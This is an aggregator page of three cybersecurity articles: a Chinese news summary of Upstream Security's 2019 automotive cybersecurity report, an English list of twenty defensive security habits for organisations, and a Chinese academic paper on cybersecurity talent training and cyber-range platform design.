Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all 12749 articles
Browse latest View live

全球汽车行业网络安全报告:5年内黑客攻击可导致损失240亿美元

$
0
0

Upstream Security 是一家专精云安全防护的安全厂商。最近这家公司研究了2010-2018年间报告的170多起智能移动网络安全事件,做出了汽车行业网络安全的未来趋势预测。


全球汽车行业网络安全报告:5年内黑客攻击可导致损失240亿美元

Upstream这份《2019全球汽车行业网络安全报告》描述了黑客的攻击方法――从物理到远程到无线等等,并叙述了黑客在智能移动领域里的攻击目标。

每出现一种新服务或新联网实体,就会诞生一种新的攻击方法。这些攻击可从任何地方触发,令驾驶员和乘客都处于风险之中。问题涵盖很广,从安全极为重要的汽车系统,到对后端服务器的数据中心黑客行动,再到共享汽车领域的身份盗窃,甚至还有隐私问题。风险无处不在。仅仅一项网络黑客行动就能令汽车制造商损失11亿美元,放眼整个行业,到2023年,该数字可达240亿美元。

――Oded Yarkoni,Upstream Security 市场营销总监

该报告主要发现有: 虽然汽车制造商是明显的目标,一级供应商、车队营运、远程信息服务提供商、汽车共享公司和公营及私营运输提供商也面临不断增加的威胁。 2018年,网络罪犯(黑帽子)攻击的数量超过了白帽子(入侵防护系统只为了测试和评估其安全性的安全专家)处理的安全事件。这是智能移动领域里首次出现这种情况。 安全应是多层次的(深度防御)。这包括防御近距离攻击的车内安全、多车辆汽车云安全、服务与应用,以及该架构网络层面上的安全。 42%的汽车网络安全事件涉及后端应用服务器。 汽车共享和驾驶员交换是最近兴起的两类网络攻击,给诈骗和数据隐私带来显著影响。 Upstream报告地址:

https://www.upstream.auto/upstream-security-global-automotive-cybersecurity-report-2019


Start a Security To-Do List

$
0
0

The old saying thatsecurityis only as strong as your weakest link could not be more true today. Bad actors are targeting every element of the organization--from AC outlets to staff members--so it's imperative that all hands are on deck when it comes to security. Of course, security is complex, requiring expert, strategic, methodical, continuous thinking about what could go wrong and how to ensure that it doesn't. No documentation canaddress every security issue and task, but a security to-do list can go a long way toward locking things down and developing awareness across the staff. Following is a start : 20 things companies can do to help lock things down.

1. Log out . It seems simple, but many users don't realize that you are logged in until you are logged out. Every window and tab in your browser can watch you until you log out. Leaving a session open is asking for a session hijack.

2. Beware random flash drives. Always physically recycle them. Don’t be a scout and attempt to find the owner or juicy details. Some flash drives are malicious. Don’t find out the hard way.

3. Stay informed. The security landscape is constantly changing, and it can be overwhelming to try and keep on top of the latest security trends and products. But ignoring security news is failing to fully protect your organization.

4. Watch what you wear. A 100% polyester shirt and no anti-static protection can cost you big. Synthetic blends, wool and cold dry days can mix to make you a ball of electricity, looking to leap into an unsuspecting piece of hardware.

5. Enforce long, complex passwords. Everyone likes easy-to-remember passwords and SSIDs, but access points need the longest permissible password possible.

6. Read your logs. Your logs are only as useful as the time you take to look at them. Many coders spent a lot of time ensuring that all pertinent datagoes into a log when something has gone awry. It’s your duty to look at the logs. There are fabulous log organizers available that are easy to configure and cover most bases, but they are effective only if someone looks at them.

7. Sniff your own wires. Wireshark is easy to use. Several known exploits/KEs use internal packet sniffers to search for relationships, hosts, unsecured logons, password tables copied from hosts, and worse. Go ahead, sniff your organization's wires. Look for the incredible, and you may find it.

8.Trust no one . Can you recognize everyone you see? Are they wearing appropriate badges? Penetration testers take great pride in walking into an organization, maybe disguised in a FedEx uniform. They plug in, and your data goes out.

9. Check the paper trail. Are users tossingdocuments that should be shredded? Is the shredder working and being emptied? Is it being used?

10. Patch. Period. Unpatched firmware is called: the malware mushroom pond. The hardware asset doesn't matter; virtually all of them have firmware, and that firmware--given the recent processor attacks--must be updated.

11. Update the authorized username list. Especially in today's gig economy, people come and people go. It's imperative that the authorized username list is updated on a continuous basis.

12. See something? Say something. Teach end users that if they see something (like, say, a charger plugged into a wall outlet with an Ethernet cable attached) they need to say something.

13. Ixnay mobile WiFi hotspots. No, you cannot use a mobile WiFi hotspot on your phone while on premises.

14. No double-dipping. Only one person through the door per swipe.

15. Leverage CASB. Cloud access security brokerage manages ugly, long passwords, permits multifactor authentication (MFA) and generally leaves a nice forensic trail of actions when in the cloud.

16. Crack down on MFA keys. Make sure that end users understand that under no circumstances is it OK to leaveMFA keys in obvious places (such as desk drawers) to keep them handy. To ensure that it's not happening, conduct random audits and confiscate and systems left with a key in a USB port.

17. Check the seal. Most vendors send sealed boxes to their clientele. Multiple tape jobs aren’t often seen, unless it’s a repair job. There are a number of hardware attacks that require having physical possession of the hardware device. Are people trained to spot what should be new hardware with multiple layers of tape or shoddy boxing? Pilfering and infiltration might be a reasonable suspicion.

18. Avoid (or get a handle on) cloud sprawl. As companies put more and more workloads into the cloud--some that IT knows about and some that it doesn't--it gets increasingly difficult to manage access, compliance and protection.

19. Properly dispose of hardware . Where is obsolete hardware being sent, and are drives and other recoverable assets leaving with them? Hard drive disposal is important, but so is disposal of backup drives, flash drives, and even SIM cards and SD-cards. Often, shredding contractors handle this. Have you ever watched them destroy your drives? All of them? Physically? To tiny unrecognizable bits? Do this randomly. The same goes for swipe cards and other authentication devices.

20. Don't leave backup to chance. How manybackupshave you randomly checked recently to ensure they can be correctly restored in the event of fire, theft, corruption, hack/rack/ransom? Do you have a test platform you can use to assess reliability and resiliency?

Feel free to post, circulate and make this security to-do list your own.

李建华:多元化多层次网络空间安全人才培养创新与实践

$
0
0

在“网络战”背景下的围绕全球信息空间的新一轮竞争较量中,各国均把信息安全专业人才的培养作为核心战略。我国在从“网络大国”向“网络强国”转变的过程中,需要多元化、多层次的网络空间安全人才培养体系。但是,目前的人才培养存在体系单一、模式固化、实践教学不强等问题。因此需要对多元化、多层次网络空间安全人才培养创新与实践进行分析和研究。在对国内外人才培养现状进行总结的基础上,对多元化、多层次网络空间安全人才培养创新理念和模式进行研究,进而对网络安全靶场综合实践平台的建设模式和关键技术进行分析,最后对人才培养创新与实践的发展趋势进行了展望。多元化、多层次的网络空间安全人才培养模式对新的网络空间态势下的安全人才培养具有良好的理论和应用价值。

网络安全是互联网发展的前提和基础。近年来随着“棱镜”等事件的曝光,世界各国均开始高度重视网络空间安全。我国面临的网络安全方面的任务和挑战日益复杂化和多元化。已有50多个国家发布网络安全战略,40多个国家组建了网战部队。2013年以来,我国政府采取了一系列重大举措加大网络安全和信息化发展的力度。在“网络战”背景下, 为保证国家信息基础设施的安全,离不开先进的网络安全技术,但更本质的是高级信息安全人才之间的较量,信息安全人才的培养和储备是决定“网络战”的核心关键,但信息安全人才的培养需要经历多年实战经验的历练。一方面,包括我国在内的各个网络大国和强国积极建设多元化、多层次的网络空间安全人才培养体系,全方位覆盖学历教育、继续教育、科普教育等方面,为实施国家安全战略,加快网络空间安全高层次人才培养。另一方面,网络靶场的建设也成为支撑网络空间安全人才培养的重要实践平台及网络空间安全技术验证、网络武器实验、攻防对抗演练和网络风险评估的重要手段[1]。“靶场”是指对攻防武器练习的环境,最早用于军队部门。因此,网络安全靶场是计算机网络操作者可以练习诸如渗透测试、防御网络、加强关键基础设施和响应攻击等技能的环境。 网络靶场综合实训平台是一种为各类用户提供科研和实验支持的环境,涵盖了军民结合的各个领域[2]。它具有规划和演示网络空间安全系统、演示和验证网络安全防御技术、评估系统安全性的能力。行业、任务和应用分别是网络靶场3个体系层面[3]。该平台所能提供的信息安全公共服务能力主要包括:面向信息安全高级专业人才培养的工程实践服务能力、面向社会的大规模继续教育实训服务能力、面向企业的科研工程化资源协同共享服务能力以及网络靶场的设计与建设能力等。

目前,关于网络安全靶场综合实训平台的研究已经收获颇丰, 但仍需要进一步的发展。

1 网络空间安全人才建设现状 1.1 多层次网络空间人才分类

在网络安全领域,各国普遍在建设多层次的网络安全人才培养体系。在网络空间安全领域,人才可分为非专业级、准专业级和专业级。非专业级主要是技术工和辅助工,这类人才可从事网络空间安全相关工程领域;准专业级包含技术工程师和技术员,这类人才可从事网络空间安全相关科学、工程的初步调研、系统研制等工作;专业级主要是指科学家(工程及其他应用科学家)和工程师。科学家负责探索有关网络空间安全的新知识,研究其原理和方法。工程及其他应用科学家负责探索网络空间安全相关人工物的新知识。工程师研究开发网络空间安全相关的应用系统,研究开发方法,设计创造有用的产品、过程和服务。如图1所示:


李建华:多元化多层次网络空间安全人才培养创新与实践

图1 多层次网络空间安全人才分类

不同类型人才的培养对应不同的教育制度以及不同的鉴定制度。

1.2 各国网络空间安全人才培养体系建设

目前各国普遍从管理、立法、产学研等方面高度重视网络安全人才培养体系的建设。

1.2.1 美国:多层次、广覆盖的培养体系

在学历教育方面,美国高度重视通过正规学校系统教育培养网络安全人才,已经将网络安全教育体系嵌入到不同学龄,甚至是幼儿阶段。同时,加强对青少年网络安全人才的培养和发掘是美国网络安全人才的基本理念。高等学校在培养专业人才的同时,注重对网络安全科学研究能力的培养,形成了教学与科研双轮驱动的教育模式。

在社会培训方面,美国政府早在1998年就开始实施针对信息系统和网络基础设施安全保障的培训和认证计划,从多方面接入网络安全培训和教育工作[4]。目前,美国社会已经建成面向不同领域的培训体系。 1.2.2 欧洲:专业教育和全民普及相结合 欧盟已制定网络安全人才战略规划,2013年2月发布了《网络安全战略》。各成员国要在国家层面重视网络安全方面的教育与培训。同时要求学校要开展网络安全培训,对计算机科学专业学生进行网络安全、网络软件开发以及个人数据保护的培训,对公务员进行培训。另外,还加强高校对网络安全专家的培养。例如:英国政府为提高网络安全教育质量和教学水平,满足社会对网络安全专家的需求,加强了高校硕士专业认证[5]。

另一方面,欧盟注重提升全民网络安全意识.欧盟各成员国在欧洲网络和信息安全局(ENISA)的支持下,从2013年起每年组织1次私营行业参与的网络安全月活动,以提高用户的安全意识。

1.2.3 日本:整合政府、企业和高校的资源

日本通过以下几个方面来加强网络空间安全人才培养。首先,日本已通过《网络安全基本法》实现立法保障。日本国内大学开始致力于培养可以应对网络攻击的人才,在大学开设的课程中,介绍对此类法令及企业遭受网络攻击的案例,同时将该课程设为所有入学者的必修科目。其次,在专门学校设立网络安全科。在进行网络设计、构造技术学习的基础上,对病毒防治、加密、身份认证等多种信息安全技术进行学习。培养运用高新的技术从黑客以及网络恐怖主义中保护企业以及人民的人才。最后,加强政府、企业、科研机构、高校联合。日本的经济产业省、国立产业技术综合研究所、相关高校都在加强联合培养网络空间安全人才的力度。

1.2.4 我国:有一定基础,体系有待完善 截至2013年,教育部批准全国共96所高校设置信息安全类相关本科专业,其中信息安全专业85个,信息对抗专业17个,保密管理专业12个,已经培养信息安全类专业本科毕业生约1万人/年[6]。由于目前我国信息安全学科建设规模小、水平低,远远满足不了信息安全产业发展对高层次专门人才的需要,导致了我国信息安全关键工程技术整体上比较落后。

据统计,信息安全人才连续几年一直被列为最急需的人才之一。截至2012年底,我国培养信息安全专业人才总共5万人左右,离我国对信息安全人才的需要量50多万需求差距难以缩小。如何培养具有综合素质的网络空间安全学科卓越工程师已经成为当前严重制约信息安全产业发展的瓶颈。建立多元化、多层次的人才体系是急需解决的关键问题。

1.3 各国网络靶场综合实践平台建设

在网络空间安全人才培养领域,网络安全靶场有以下3个主要特征:

1) 可以模拟大规模复杂网络以反映真实场景;

2) 可以与其他包含恶意活动的网络隔离;

3) 为操作人员提供适合培训与竞演的真实环境,同时也支持网络安全产品的实验和测试。

随着信息技术的发展和信息化建设的高速推进,为信息安全产业的发展带来了前所未有的机遇。根据IDC数据分析显示,目前安全市场的增长远远高于整个IT市场的增长。政府、电信、金融等部门和行业对信息安全的投入加大成为推动市场的主要动力。随着电子商务、电子政务等信息化应用的不断深入,对于数据的安全保障、不可否认性等安全机制的要求日益提升,使得信息安全人才在维护信息安全方面的作用将越来越突出[7]。近年来国内外不论政府还是企业机构均对网络安全实训实战环境建设投入了巨大的财力物力及人力。目前,美国依然走在了世界的前列,除了已建成多个小型网络靶场外,已开展国家级的网络靶场建设。其他国家,如英国等也正在建设自己的网络靶场。靶场的任务类型主要包括训练、测试与评估及演习3类。 1.3.1 美国国家网络安全实训平台 自2001年以来,美国率先启动了“国家基础设施保护计划(NIPP)”等一系列计划,美国军方在普渡大学成立信息安全研究中心,合作培养高端信息安全人才,崇尚“先发制人”的美国目前已具备网络战实战能力[8-9]。 美国空军(USAF)是网络靶场的先驱。早在2002年,当美国空军模拟器训练与演练机构支持一项名为Black Demon的运动时,就使用了网络靶场。2011年,它获得了SANS[10]颁发的美国国家网络安全创新奖。这项奖被授予第39信息作战中队,因为它使用了网络靶场训练员工的战术、操作技术和程序。 美国国家赛博靶场承担6个方面的任务如图2所示[11]。
李建华:多元化多层次网络空间安全人才培养创新与实践

图2 美国国家赛博靶场功能

具体包括:一是在典型的网络环境中对信息保障能力和信息生存工具进行定量、定性评估;二是对美国国防部目前和未来的武器系统,与作战行动中复杂的大规模异构网络和用户进行逼真的模拟;三是在统一基础设施上,同时进行多项独立的实验;四是实现针对因特网/全球信息栅格等大规模网络的逼真测试;五是开发具有创新性的网络测试能力并部署相应的工具和设备;六是通过科学的方法对各种网络进行全方位严格的测试。

而在2013年,根据英国《简氏防务周刊》的报道,美国波音公司展示其便携式网电靶场系统――“装在箱子中的网电靶场”(CRIAB)。该系统能够帮助公司和政府机构演练网电防御,增强应对网电攻击的能力[12]。波音公司网络和空间系统部网电安全、电子与信息分部副总裁帕尔马称,CRIAB可以使用户模拟其网络,实施高级的病毒攻击或进行红/蓝军模拟演习。CRIAB能够很容易地建立模拟网络,并注入病毒,帮助公司和机构了解如何应对网电攻击。在演练完成后,可以迅速清除这些病毒和网络,并开始新的演练。 1.3.2 其他相关国家网络安全靶场实践平台 英国联邦网络实验靶场FCR(Federated Cyber Test Range)建立于2010年10月[13]。联合网络靶场可以与其他网络设施进行组网,而且是英国第1个可以用于商业用途的网络靶场。尽管从外表上看联合网络靶场类似1个企业数据中心,但它拥有可实现网络靶场各种关键能力的专用软硬件,而且,联合网络靶场可以对某些无法在实际系统上测试的项目进行测试。联合网络靶场是一个安全的环境,可以在其中仿真网络攻击与网络防御以及评估各种系统与网络的安全性。 2009年,澳大利亚政府发布了《信息安全战略》,详细描述了政府将如何保护经济组织、关键基础设施、政府机构、企业和家庭用户免受网络威胁[14]。2012年10月,美国诺斯罗普格鲁曼公司宣布已获得1份合同,为澳大利亚新南威尔士大学、澳大利亚国防学院堪培拉校园建立网络测试靶场。澳大利亚国防学院是澳大利亚国防部队和澳大利亚新南威尔士大学的合作伙伴,主要任务是为澳大利亚军队训练和培养军官。新成立的网络测试靶场将有助于澳大利亚军事网络技术的发展、测试和评估[15]。 1.3.3 我国的网络安全靶场实践平台 国内方面,中办27号文[2003]明确要求“加快信息安全人才培养,增强全民信息安全意识”。在此大背景下,国家启动了653专业技术人才知识更新工程,并在全国开展信息安全专业技术人员继续教育工作;截至2012年,全国约有100余所大学已建设信息安全专业[16]。信息安全人才的培养需要经历多年的实战经验的历练,我国在信息安全高级专业人才培养、社会继续教育培训、面向企业的科研资源协同共享等公共服务能力建设方面,缺乏能有效满足大规模用户的信息安全教学实训工程实践和科研工程化资源协同共享需要的公共服务支撑环境。

2014年上半年国内首个网络靶场正式启动,多家安全企业的XP防护产品将在这个网络靶场接受全球白帽黑客攻击,以验证其防护能力。据介绍,这也是国内安全领域首次网上实兵对抗演练。资料显示,“网络靶场”是美国国防部7年前开始启动的1个网络战实验平台,在网上模拟网络战实兵对抗场景,以探测网络防攻击能力。近几年网络靶场正在成为网络安全领域的一个新的热点,不过国内开设网络靶场尚属首次。按照微软的计划,微软已在2014年4月8日后停止windows XP的安全更新,尽管各大安全公司都宣布“保护XP”,但究竟效果如何,普通消费者无从分辨。本次网络靶场就是为了考验安全软件的真实防护能力,重奖悬赏黑客来攻击安全软件,为此主办方设立了高达10万元的奖金。

2 多元化多层次网络空间安全人才培养创新 2.1 多元化网络空间安全人才创新建设理念

以建设一流网络空间安全人才体系、培养一流人才为目标,探索创新型网络空间安全人才培养思路、体制和机制。人才培养理念如图3所示。


李建华:多元化多层次网络空间安全人才培养创新与实践

图3 多元化网络空间安全人才建设理念

网络安全人才培养理念将从精英教育、通识教育、创新教育、实践教育、素质教育5个方面着手,推动教育创新战略、国际化战略和“个性化”战略。网络空间安全人才培养体系与机制创新探索体现在以下6个方面:

1) 突出从网络空间安全知识传授到重视综合素质与能力培养的转变;

2) 将“研究性”纳入人才培养体系;

3) 完善教学支撑体系;

4) 推动课题体系和教学改革;

5) 师资队伍和教学环境建设;

6) 建设工程实践综合服务平台。

2.2 多层次网络空间安全人才创新建设

在多元化网络空间安全人才创新建设的基础上,实现多层次的人才体系建设尤为重要。特别是加强学历教育、继续教育及职业教育、科普教育的有机结合,是培养复合型网络空间安全人才的关键。

2.2.1 完善学历教育 为实施国家安全战略,加快网络空间安全高层次人才培养,根据《学位授予和人才培养学科目录设置与管理办法》的规定和程序,经专家论证,国务院学位委员会学科评议组评议,报国务院学位委员会批准,决定在“工学”门类下增设“网络空间安全”一级学科,学科代码为“0839”,授予“工学”学位[17]。目前国内各个高校都在加强网络空间安全的学科建设,做好人才培养工作。有不少学校还成立了专门的“网络空间安全学院”。至此,网络空间安全的本硕博学历教育体系得到了很好的完善。 2.2.2 加强继续教育

在非学历教育方面,政府部门以及电信、电力、石油石化等行业的管理和从业人员存在继续教育的需求。在网络空间安全领域,继续教育是面向学校教育之后所有社会成员特别是成人的网络安全教育活动,是终身学习体系的重要组成部分。

在网络空间安全领域,开展继续教育的途径主要有以下3个方面:

1) (ISC)2注册信息系统安全专家(certified information systems security professional, CISSP),由(ISC)2组织和管理,是目前全球范围内最权威、最专业、最系统的信息安全认证;

2) 注册信息安全专业人员(certified information security professional, CISP),系国家对信息安全人员资质的最高认可[18]。CISP系经中国信息安全产品测评认证中心(已改名中国信息安全测评中心)实施国家认证。CISP是强制培训的。如果想参加CISP考试,必须要求出具授权培训机构的培训合格证明;

3) 其他类型的培训包括针对网络安全某个具体领域(如:云计算安全、工业控制安全、大数据安全等)、某个行业(如:水务网络安全、政务网络安全、金融网络安全等)、某项技术(如:漏洞挖掘、态势感知、安全协议等)进行专业的培训。

2.2.3 建设卓越工程师培养体系

卓越工程师教育培养计划将融合高校与企业的社会功能,形成高校网络安全人才培养与行业、企业之间的良性互动、互利共生的运行机制。以网络安全人才创新能力培养为目标,通过实施“卓越工程师教育培养计划”,探索网络安全人才培养新模式。

创立高校与行业企业联合培养网络安全人才的新机制,企业由单纯的用人单位变为联合培养单位,高校和企业共同设计培养目标,制定培养方案,共同实施培养过程.充分发挥行业企业在工程实践条件真实性和先进性的优势,学生通过认知学习、专题学习、岗位学习和项目学习等阶段参与工程创新研究与开发,深入开展工程实践活动,同时培养其敬业精神与职业道德。

应综合网络安全行业标准与专业标准,建立网络安全卓越工程师的培养标准体系,提升卓越计划人才培养质量。网络安全卓越工程师不仅需要系统掌握网络安全基础知识、专业知识、扎实的计算机体系和网络安全体系知识,还需要具有良好的职业道德,在了解信息技术和网络安全技术领域的各行业标准、相关政策、法律和法规的基础上,具有实施网络安全防护体系工程的能力,能够管理与维护网络安全系统,具有进行网络安全产品的设计、开发、测试与创新的能力。

把最新的网络安全技术和应用研究成果纳入到教育内容之中,让学生洞悉网络安全前沿知识,捕捉创新的机遇;采用案例教学、攻防实践教学等多种互动和实践类教学方法,提倡结论的多样性和获得结论的思维方式与认知过程的多样性,培养学生创新的勇气和创造力;通过校企联合培养实现网络安全人才教育的实践性,使学生具有从实践中发现问题和寻找合作者攻关构思的综合能力。

2.2.4 加强科普教育

目前,世界主要国家纷纷将全民网络安全意识科普教育作为国家网络安全战略的重要内容之一,通过提高公众的网络安全基本技能和知识,增强全社会对网络犯罪行为和网络安全威胁的认识,促进公众自觉采取网络安全保护措施,降低公众乃至国家遭受网络安全风险的可能性。在国家战略层面,加强对青少年网络安全意识的培养与教育,将提升青少年网络安全意识作为重要战略举措之一。

着眼于贯彻落实《进一步提升公民科学素质3年行动计划(2015―2017年)》,进一步加强青少年科普教育,深入推进学生综合素质培养实践,可充分利用知名的大学网络空间安全学院在网络信息安全领域所取得的诸多科研成果和信息安全人才培养教学成果基础上,开展利用云计算、大数据、VR/AR虚拟现实、虚拟仿真等技术,“基于MOOC(大规模开放在线课堂)与网络靶场实训演练平台”,面向青少年网络信息安全科普教育提供服务支撑。例如,上海市已依托上海交通大学网络空间安全学院建设“上海交通大学网络空间安全实践工作站”,每年都有100余名高中生进入工作站接受系统的科普教育,已经取得了很好的示范效果。

3 网络安全靶场综合实践平台建设 3.1 人才队伍建设框架 建立科学的网络空间安全专业人才队伍是一个复杂而艰巨的过程,网络安全人才培养是国家信息安全保障体系建设的基础和先决条件[19]。网络空间安全专业学科体系是由核心学科群、支撑学科群和应用学科群3部分组成,是一个以信息安全理论为核心,以信息技术、信息工程和信息安全等理论体系为支撑,以国家和社会各领域信息安全防护为应用方向的跨学科的交叉性学科群体系[20]。对网络空间安全专业人才的培养必须从网络空间安全的学科体系建设入手,以培养多层次、多规格且具备多学科知识和复合型技术的人才.根据美国国家网络安全教育计划,一个基本的人才队伍建设框架如图4所示[21]。
李建华:多元化多层次网络空间安全人才培养创新与实践

图4 人才队伍建设框架

3.1.1 确定网络安全人员需求

为帮助组织了解和建立网络安全员工,需要提供工具和指导方针,人才队伍建设框架描述了准备建立网络安全员工队伍的第1步。一旦组织确定了网络安全需求(如通过网络安全审核或内部自我评估),该框架有助于实现这些工作人员的角色安排和任务分配。

3.1.2 招募优秀的网络空间安全人才

人才队伍建设框架可帮助候选人准确地查找他们感兴趣和合格的特定职位。通过使用框架中的任务定义来描述工作职责和要点,并使用其他功能来描述职位所需的技能和资格,候选人和招聘者将获得双向的满意度。

3.1.3 教育和培训人才

人才队伍建设框架规划了网络安全发展方向,帮助教育工作者为学生准备所需的知识和技能。学术机构是储备和培育网络安全人才的关键.公共和私人机构之间的合作,例如通过综合实训平台培养计划,使多方能够共享所需的知识和能力。

3.1.4 面向需求建设靶场课程

在所设计的通用网络安全靶场架构中,充分考虑不同类型网络安全人才培养的需求,对网络安全靶场的课程进行定制化的设计。

3.2 网络靶场体系结构 云环境下信息安全专业高技能人才实训及靶场平台的体系结构如图5所示,核心的5个部分分别是平台基础环境、数据资源库、服务支撑、实训及靶场应用、标准规范体系和安全保障体系。其中,平台基础环境是系统运行的基础,支撑平台功能系统的运行,具体包括运行资源建设(包括计算资源、存储资源、网络资源)、目标系统建设(工控系统、移动互联网等)、虚拟化管理平台、SDN动态组网管理平台和设备监控管理平台等[22]。靶场是由多个系统和装备组成的,具有实验、训练、演练等多个功能的复杂巨系统。为实现靶场各类实验系统和设施的互联互通互操作,使靶场资源共享,需要根据具体的需求和网络靶场综合实训平台的具体特点,设计出一个切实可行的靶场体系结构,为后续改进和维护综合实训打下基础[23]。
李建华:多元化多层次网络空间安全人才培养创新与实践

图5 网络靶场体系结构

虚拟化管理平台、SDN动态组网管理平台、设备监控管理平台对实训及靶场平台的物理资源和虚拟资源统一管理和调度。其中虚拟化管理模块通过对平台中各类虚拟资源(如计算、存储、网络等资源)的统一调度和管理,从而提供可根据实验需求弹性扩展的节点虚拟机资源;SDN动态组网管理平台对所有虚拟网络进行集中式监、管、控;设备监控管理平台主要对靶场中各类硬件设备(如服务器、交换机、安全设备、工控设备等)的运行状态进行实时监控和管理。

资源库涉及到大量数据、模型等信息。数据资源库是平台的核心资源,是平台运行和实验操作的工具、数据和知识保障,支持实训及靶场业务的开展和实验的运行。它描述了在虚拟靶场中所需信息与生成信息存储的各种库,通过实时数据库与通用数据库,为虚拟靶场实验前、中、后阶段提供数据支持。仿真模型库主要管理大量数据和模型[24],它为用户在逻辑上提供一个一致的产品表示,使数据库中的各种数据采用一致的界面与应用系统进行交互。 一体化公共服务支撑平台适应了靶场灵活多变的信息显示需求,通过消息协调、服务发现、服务管理等功能,达到稳定性好、可重用性好、可维护性好等效果[25]。建立信息显示系统开发环境、运行环境、组态数据库,使用户能针对不同的应用场合进行灵活地组态,快速装配出一套最适合信息展现需求的执行方案。 功能层提供实训及靶场实验的管理和应用业务,分为网络复现、剧情管理、实验控制、系统评估和展示体验等10个功能系统。各种不同功能的组件运行在支撑软件平台上,构成实验系统成员,实现具体功能[26],如实验进程控制、实验过程的综合显示、数据存储/回放等,通过统一门户与用户进行交互。

安全保障体系从物理环境安全、安全基础设施、网络安全、计算环境安全、应用安全、安全管理、风险评估7个方面采用技术手段和措施,确保实训及靶场平台可靠稳定运行和实验安全可信开展。同时,采用实验隔离和数据擦除等技术手段,确保靶场中同时开展的实验相互独立,靶场中的敏感信息彻底销毁,无泄露风险。

标准规范体系是保证平台高效运行和协同的重要保障,应遵循兼容规则,即在扩展兼容的基础上能够使靶场所有实验系统任意组合,实现联合完成实验任务所应该达到的基本功能要求。在这个过程中,靶场应用己完全集成到标准的信息化靶场应用技术体系,实现信息化靶场应用的所有目标[27]。网络测试语言、测试过程、资产、数据库和实验过程的规范化、标准化将贯穿于一个完整的网络实验生命周期中。 3.3 网络安全靶场关键技术

在网络靶场的设计与建设的研究中,需要对靶场建设和运行过程中涉及到的网络复现、多维度测试、靶场资源动态管理等一系列关键支撑技术进行研究和突破,具体包括:大规模复杂异构网络快速重构技术、基于人工智能的自动化检测技术、虚拟化技术、靶场资源自动配置技术、非易失性存储数据安全擦除技术、靶场安全隔离与信息交换技术、木马及APT攻击行为识别技术、网络追踪溯源技术等。

3.3.1 大规模复杂异构网络快速重构技术 基于动态组网技术和虚拟化技术,在统一共享的物理网络设施上,开展大规模复杂异构网络快速重构技术的研究。利用信息基础设施,可对平台上的路由器、交换机、网站服务器、数据库服务器、网络安全设备、工业控制网络设备等信息基础设施实现精确识别[28],实现处理大规模数据和快速重构的需求。 3.3.2 基于人工智能的自动化检测技术 人工智能技术已经被大量引入自动化检测和决策中,基本可以被划分为2类:一类是去试图探索智能的本质并开发通用的智能机;另一类是为难以通过非智能化手段解决的复杂问题提供方法的科学,如基于大量数据进行辅助决策的方法[29]。根据用户的测试需求,自动化调用平台的计算、存储资源和漏洞库、知识库等资源,以及各类测试工具,提高测试评估的客观性、准确性与效率。 3.3.3 虚拟化技术 虚拟化是一种表现逻辑群组或计算资源子集的过程,用比原来的组织更好的方式来使用资源。虚拟资源不受现有资源的架设方式、地域和物理形态所限制[30]。本质上,软件定义网络(software defined network, SDN )、网络功能虚拟化(network function virtualization, NFV )等虚拟化技术对物理资源进行组织为上层提供应用需要的逻辑形态,以更高效、更灵活的方式使用资源。建立具备面向服务、动态重组、按需分发等能力的高动态、可重构基础网络环境。 3.3.4 靶场资源自动配置技术 虚拟化技术改变了基础设施的提供模式,使得计算、存储设备变成可运营的资源,用户可以通过互联网按需弹性获取.基于SDN技术可构建完全虚拟化的网络并实现网络资源的自动化编排,并能够带来一系列资源重构的效益[31]。靶场的网络平台可为用户提供丰富的海量异构资源(网络、计算、存储、信息等),需要实现对这些共用资源的集中管控和灵活调用,使其利用率最大化并保证用户对资源使用的有效性。 3.3.5 靶场安全隔离与信息交换技术 靶场网络隔离防护技术主要包括“隔离”和“交换”2个方面[32]。隔离指的就是把不安全的外部网络靶场和安全的内部网络靶场隔离起来;交换指的是利用第三方系统,为外部网络和内部网络提供数据交换的能力。网络安全隔离与信息交换技术能够防止外网的攻击和防止数据泄露,维护网络靶场安全,实现快速信息交换。 3.3.6 木马及APT攻击行为识别技术 仅通过安全产品和安全技术无法完全实现对木马和APT攻击的有效检测和防御[33]。目前可以采取的防御策略有:从多层面加强对初期攻击的检测,有效分析系统日志、网络流量数据、防御系统警报等信息,及时发现攻击信号;完善响应机制,最小化损失程度,以便部署大数据分析系统,这样就能很快搜索数据库并找到与受害主机相关的所有信息,甚至获取攻击者的信息并进行定位;人工干预,雇用专业的安全服务人员,对安全防御系统进行运维和情况分析,就能够更加准确、及时地发现和处置攻击事件,提高安全防御系统的效能;数据保护,通过合理规划数据所在区域的网络结构部署、增强数据所在主机自身安全防护、优化相应权限管理、对数据进行加密存储及加密传输等措施,增大攻击难度。 3.3.7 网络追踪溯源技术 网络追踪溯源技术使被攻击者发现确定攻击者的准确位置,是维护网络安全的重要环节[34]。该技术将加强蜜罐、蜜网等网络诱骗技术的研究,深入分析各类攻击行为特征,深入了解网络攻击手段、攻击方法和攻击目标等。 4 网络空间安全人才培养的发展趋势 在新的网络空间态势下,网络安全人才培养将面临更多、更复杂的挑战.未来网络空间安全人才培养需要经历多年的实战经验的历练,而我国急需这种通过模拟实战锻炼人才的平台。我国在信息安全高级专业人才培养、社会继续教育培训、面向企业的科研资源协同共享等公共服务能力建设方面,缺乏能有效满足大规模用户的信息安全教学实训工程实践和科研工程化资源协同共享需要的公共服务支撑环境。同样在网络靶场建设方面,无论从靶场基础理论研究、关键技术和产品研发,还是网络空间安全风险评估研究,我国都还存在着不小的差距[35]。因此在下一阶段的工作中,需要继续将多元化、多层次的安全专业人才的培养作为核心战略。 5 结语

人才培养已成为驱动国家网络安全发展的核心战略,在当前网络空间态势日趋复杂的情况下,人才培养也面临了诸多新的挑战和机遇。如何建设新型的人才培养体系已经成为当务之急。本文从人才培养本身的多样性入手,对多元化、多层次网络空间安全人才培养创新体系和模式进行深入研究和探讨,同时分析了网络安全人才教育实践平台建设的方法和技术。未来的网络空间安全人才培养,将具备更多的新特点、新要素和新趋势,这需要网络空间安全教育行业进行更多的创新和实践,为国家的多元化、多层次网络空间安全人才培养提供有力支撑。

